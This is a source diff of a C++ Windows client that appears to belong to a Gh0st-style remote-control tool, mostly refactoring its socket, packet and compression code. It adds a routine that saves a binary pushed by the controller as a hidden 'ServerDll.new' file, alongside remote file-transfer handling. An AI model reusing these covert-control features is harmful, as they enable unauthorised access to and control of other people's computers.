FixedUploadList((char *)lpBuffer); FixedUploadList((char *)lpBuffer);
@@ -592,7 +603,7 @@ void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8); strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + 1)) + pFileSize->dwSizeLow; m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + long long(1))) + pFileSize->dwSizeLow;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼ // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
MakeSureDirectoryPathExists(m_strCurrentProcessFileName); MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
@@ -638,7 +649,7 @@ void CFileManager::GetFileData()
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ // 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
BYTE bToken[9]; BYTE bToken[9];
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC>򿪷<EFBFBD>ʽ DWORD dwCreationDisposition = 0; // <20>ļ<EFBFBD><C4BC>򿪷<EFBFBD>ʽ
memset(bToken, 0, sizeof(bToken)); memset(bToken, 0, sizeof(bToken));
bToken[0] = TOKEN_DATA_CONTINUE; bToken[0] = TOKEN_DATA_CONTINUE;

View File

@@ -28,7 +28,7 @@ typedef struct
class CFileManager : public CManager class CFileManager : public CManager
{ {
public: public:
void OnReceive(LPBYTE lpBuffer, UINT nSize); virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
UINT SendDriveList(); UINT SendDriveList();
CFileManager(CClientSocket *pClient, int h = 0); CFileManager(CClientSocket *pClient, int h = 0);
virtual ~CFileManager(); virtual ~CFileManager();

View File

@@ -5,16 +5,37 @@
#include "stdafx.h" #include "stdafx.h"
#include "IOCPClient.h" #include "IOCPClient.h"
#include <IOSTREAM> #include <IOSTREAM>
#include "zconf.h" #if USING_ZLIB
#include "zlib.h" #include "zlib.h"
#define Z_FAILED(p) (Z_OK != (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#else
#if USING_LZ4
#include "lz4/lz4.h"
#pragma comment(lib, "lz4/lz4.lib")
#define Z_FAILED(p) (0 == (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#define compress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
#define uncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
#else
#include "zstd/zstd.h"
#pragma comment(lib, "zstd/zstd.lib")
#define Z_FAILED(p) ZSTD_isError(p)
#define Z_SUCCESS(p) (!Z_FAILED(p))
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
#endif
#endif
#include <assert.h> #include <assert.h>
#include "Manager.h"
using namespace std; using namespace std;
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
VOID IOCPClient::setManagerCallBack(class CManager* Manager) VOID IOCPClient::setManagerCallBack(CManager* Manager)
{ {
m_Manager = Manager; m_Manager = Manager;
} }
@@ -22,6 +43,7 @@ VOID IOCPClient::setManagerCallBack(class CManager* Manager)
IOCPClient::IOCPClient(bool exit_while_disconnect) IOCPClient::IOCPClient(bool exit_while_disconnect)
{ {
m_Manager = NULL;
WSADATA wsaData; WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData); WSAStartup(MAKEWORD(2, 2), &wsaData);
@@ -29,6 +51,7 @@ IOCPClient::IOCPClient(bool exit_while_disconnect)
m_hWorkThread = NULL; m_hWorkThread = NULL;
m_bWorkThread = S_STOP; m_bWorkThread = S_STOP;
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH); memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
m_bIsRunning = TRUE; m_bIsRunning = TRUE;
@@ -64,7 +87,21 @@ IOCPClient::~IOCPClient()
m_bWorkThread = S_END; m_bWorkThread = S_END;
} }
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
inline string GetIPAddress(const char *hostName)
{
struct hostent *host = gethostbyname(hostName);
#ifdef _DEBUG
printf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
for (int i = 0; host->h_addr_list[i]; ++i)
printf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
#endif
if (host == NULL || host->h_addr_list == NULL)
return "";
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
}
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
{ {
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -77,7 +114,10 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
sockaddr_in ServerAddr; sockaddr_in ServerAddr;
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
ServerAddr.sin_port = htons(uPort); ServerAddr.sin_port = htons(uPort);
ServerAddr.sin_addr.S_un.S_addr = inet_addr(szServerIP); // <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
? szServerIP : GetIPAddress(szServerIP);
ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str());
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR) if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
{ {
@@ -115,7 +155,7 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
{ {
IOCPClient* This = (IOCPClient*)lParam; IOCPClient* This = (IOCPClient*)lParam;
char szBuffer[MAX_RECV_BUFFER] = {0}; char* szBuffer = new char[MAX_RECV_BUFFER];
fd_set fd; fd_set fd;
const struct timeval tm = { 2, 0 }; const struct timeval tm = { 2, 0 };
@@ -142,9 +182,9 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
} }
else if (iRet > 0) else if (iRet > 0)
{ {
memset(szBuffer, 0, sizeof(szBuffer)); memset(szBuffer, 0, MAX_RECV_BUFFER);
int iReceivedLength = recv(This->m_sClientSocket, int iReceivedLength = recv(This->m_sClientSocket,
szBuffer,sizeof(szBuffer), 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> szBuffer, MAX_RECV_BUFFER, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (iReceivedLength <= 0) if (iReceivedLength <= 0)
{ {
int a = GetLastError(); int a = GetLastError();
@@ -154,11 +194,20 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}else{ }else{
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead //<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead
This->OnServerReceiving(szBuffer, iReceivedLength); This->OnServerReceiving(szBuffer, iReceivedLength);
if (This->m_Manager!=NULL && This->m_Manager->m_bIsDead)
{
printf("****** Recv bye bye ******\n");
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB>˺<EFBFBD><CBBA><EFBFBD><EFBFBD>ضˣ<D8B6><CBA3><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern BOOL g_bExit;
g_bExit = This->m_Manager->m_bIsDead;
break;
}
} }
} }
} }
This->m_bWorkThread = S_STOP; This->m_bWorkThread = S_STOP;
This->m_bIsRunning = FALSE; This->m_bIsRunning = FALSE;
delete[] szBuffer;
return 0xDEAD; return 0xDEAD;
} }
@@ -170,14 +219,14 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
{ {
assert (ulLength > 0); assert (ulLength > 0);
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9> //<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
CBuffer m_CompressedBuffer;
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength); m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH) while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
{ {
char szPacketFlag[FLAG_LENGTH] = {0}; char szPacketFlag[FLAG_LENGTH + 3] = {0};
CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH); LPBYTE src = m_CompressedBuffer.GetBuffer();
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
{ {
@@ -189,8 +238,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
sizeof(ULONG)); sizeof(ULONG));
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD> //--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
if (ulPackTotalLength && ULONG len = m_CompressedBuffer.GetBufferLength();
(m_CompressedBuffer.GetBufferLength()) >= ulPackTotalLength) if (ulPackTotalLength && len >= ulPackTotalLength)
{ {
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
@@ -209,7 +258,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
int iRet = uncompress(DeCompressedBuffer, int iRet = uncompress(DeCompressedBuffer,
&ulOriginalLength, CompressedBuffer, ulCompressedLength); &ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (iRet == Z_OK)//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD> if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
{ {
CBuffer m_DeCompressedBuffer; CBuffer m_DeCompressedBuffer;
m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer, m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
@@ -217,24 +266,40 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬ //<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB> //<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
if (m_Manager)
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0), m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
m_DeCompressedBuffer.GetBufferLength()); m_DeCompressedBuffer.GetBufferLength());
} }
else else{
printf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
delete [] CompressedBuffer;
delete [] DeCompressedBuffer;
throw "Bad Buffer"; throw "Bad Buffer";
}
delete [] CompressedBuffer; delete [] CompressedBuffer;
delete [] DeCompressedBuffer; delete [] DeCompressedBuffer;
#if _DEBUG
printf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
#endif
} }
else else {
printf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
break; break;
} }
}catch(...) { } }
}catch(...) {
m_CompressedBuffer.ClearBuffer();
printf("[ERROR] OnServerReceiving catch an error \n");
}
} }
int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello // <20><>server<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
// <20>ر<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>SendWithSplit<69>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
{ {
AUTO_TICK(50);
assert (ulOriginalLength > 0); assert (ulOriginalLength > 0);
{ {
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12 //<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
@@ -242,20 +307,35 @@ int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) /
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 ΢<><CEA2><EFBFBD> //<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 ΢<><CEA2><EFBFBD>
//nSize = 436 //nSize = 436
//destLen = 448 //destLen = 448
#if USING_COMPRESS
#if USING_ZLIB
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12; unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
#elif USING_LZ4
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
#else
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
#endif
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength]; LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength); int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
if (iRet != Z_OK) if (Z_FAILED(iRet))
{ {
printf("[ERROR] compress failed \n");
delete [] CompressedBuffer; delete [] CompressedBuffer;
return FALSE; return FALSE;
} }
#if !USING_ZLIB
ulCompressedLength = iRet;
#endif
#else // <20><>ѹ<EFBFBD><D1B9>
unsigned long ulCompressedLength = ulOriginalLength;
LPBYTE CompressedBuffer = (LPBYTE)szBuffer;
#endif
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH; ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
CBuffer m_WriteBuffer; CBuffer m_WriteBuffer;
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, sizeof(m_szPacketFlag)); m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH);
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG)); m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
// 5 4 // 5 4
@@ -265,8 +345,11 @@ int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) /
//[Shine][ 30 ][5] //[Shine][ 30 ][5]
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength); m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
#if USING_COMPRESS // ʹ<><CAB9>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><E3B7A8><EFBFBD><EFBFBD>Ҫ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
delete [] CompressedBuffer; delete [] CompressedBuffer;
CompressedBuffer = NULL; CompressedBuffer = NULL;
#endif
// <20>ֿ鷢<D6BF><E9B7A2> // <20>ֿ鷢<D6BF><E9B7A2>
//shine[0035][0010][HelloWorld+12] //shine[0035][0010][HelloWorld+12]
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
@@ -277,6 +360,7 @@ int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) /
// 5 2 // 2 2 1 // 5 2 // 2 2 1
BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength) BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
{ {
AUTO_TICK(25);
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD> int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
const char* Travel = szBuffer; const char* Travel = szBuffer;
int i = 0; int i = 0;

View File

@@ -17,8 +17,8 @@
#pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ws2_32.lib")
#define MAX_RECV_BUFFER 1024*8 #define MAX_RECV_BUFFER 1024*32
#define MAX_SEND_BUFFER 1024*8 #define MAX_SEND_BUFFER 1024*32
#define FLAG_LENGTH 5 #define FLAG_LENGTH 5
#define HDR_LENGTH 13 #define HDR_LENGTH 13
@@ -30,15 +30,15 @@ public:
IOCPClient(bool exit_while_disconnect = false); IOCPClient(bool exit_while_disconnect = false);
virtual ~IOCPClient(); virtual ~IOCPClient();
SOCKET m_sClientSocket; SOCKET m_sClientSocket;
CBuffer m_CompressedBuffer;
BOOL m_bWorkThread; BOOL m_bWorkThread;
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
BOOL ConnectServer(char* szServerIP, unsigned short uPort); BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
static DWORD WINAPI WorkThreadProc(LPVOID lParam); static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength); VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
int OnServerSending(const char* szBuffer, ULONG ulOriginalLength); BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength); BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
BOOL IsRunning() const BOOL IsRunning() const
@@ -46,19 +46,23 @@ public:
return m_bIsRunning; return m_bIsRunning;
} }
void SetExit() {
m_bIsRunning = FALSE;
}
BOOL m_bIsRunning; BOOL m_bIsRunning;
BOOL m_bConnected; BOOL m_bConnected;
char m_szPacketFlag[FLAG_LENGTH]; char m_szPacketFlag[FLAG_LENGTH + 3];
VOID setManagerCallBack(class CManager* Manager); VOID setManagerCallBack(CManager* Manager);
VOID Disconnect(); VOID Disconnect();
VOID RunEventLoop(const BOOL &bCondition); VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const { return m_bConnected; } bool IsConnected() const { return m_bConnected == TRUE; }
public: public:
class CManager* m_Manager; CManager* m_Manager;
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;
bool m_exit_while_disconnect; bool m_exit_while_disconnect;
}; };

View File

@@ -5,6 +5,10 @@
#include "stdafx.h" #include "stdafx.h"
#include "KernelManager.h" #include "KernelManager.h"
#include "Common.h" #include "Common.h"
#include <iostream>
#include <fstream>
#include <corecrt_io.h>
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
@@ -16,11 +20,11 @@ CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
CKernelManager::~CKernelManager() CKernelManager::~CKernelManager()
{ {
printf("~CKernelManager \n"); printf("~CKernelManager begin\n");
int i = 0; int i = 0;
for (i=0;i<0x1000;i++) for (i=0;i<MAX_THREADNUM;++i)
{ {
if (m_hThread->h!=0) if (m_hThread[i].h!=0)
{ {
CloseHandle(m_hThread[i].h); CloseHandle(m_hThread[i].h);
m_hThread[i].h = NULL; m_hThread[i].h = NULL;
@@ -30,12 +34,86 @@ CKernelManager::~CKernelManager()
} }
} }
m_ulThreadCount = 0; m_ulThreadCount = 0;
printf("~CKernelManager end\n");
}
// <20><>ȡ<EFBFBD><C8A1><EFBFBD>õ<EFBFBD><C3B5>߳<EFBFBD><DFB3>±<EFBFBD>
UINT CKernelManager::GetAvailableIndex() {
if (m_ulThreadCount < MAX_THREADNUM) {
return m_ulThreadCount;
}
for (int i = 0; i < MAX_THREADNUM; ++i)
{
if (m_hThread[i].p == NULL) {
return i;
}
}
return -1;
}
BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
{
if (size > 32 * 1024 * 1024) {
std::cerr << "WriteBinaryToFile fail: too large file size!!" << std::endl;
return FALSE;
}
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p + 1, "ServerDll.new");
if (_access(path, 0)!=-1)
{
DeleteFileA(path);
}
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
std::string filePath = path;
std::ofstream outFile(filePath, std::ios::binary);
if (!outFile)
{
std::cerr << "Failed to open or create the file: " << filePath << std::endl;
return FALSE;
}
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
outFile.write(data, size);
if (outFile.good())
{
std::cout << "Binary data written successfully to " << filePath << std::endl;
}
else
{
std::cerr << "Failed to write data to file." << std::endl;
outFile.close();
return FALSE;
}
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD>
outFile.close();
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
std::cout << "File created and set to hidden: " << filePath << std::endl;
}
return TRUE;
} }
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
IOCPClient *pNew = szBuffer[0] == COMMAND_BYE ? NULL : new IOCPClient(true); bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
m_hThread[m_ulThreadCount].p = pNew; if ((m_ulThreadCount = GetAvailableIndex()) == -1) {
if (!isExit) {
printf("CKernelManager: The number of threads exceeds the limit.\n");
return;
}
}
else if (!isExit){
m_hThread[m_ulThreadCount].p = new IOCPClient(true);
}
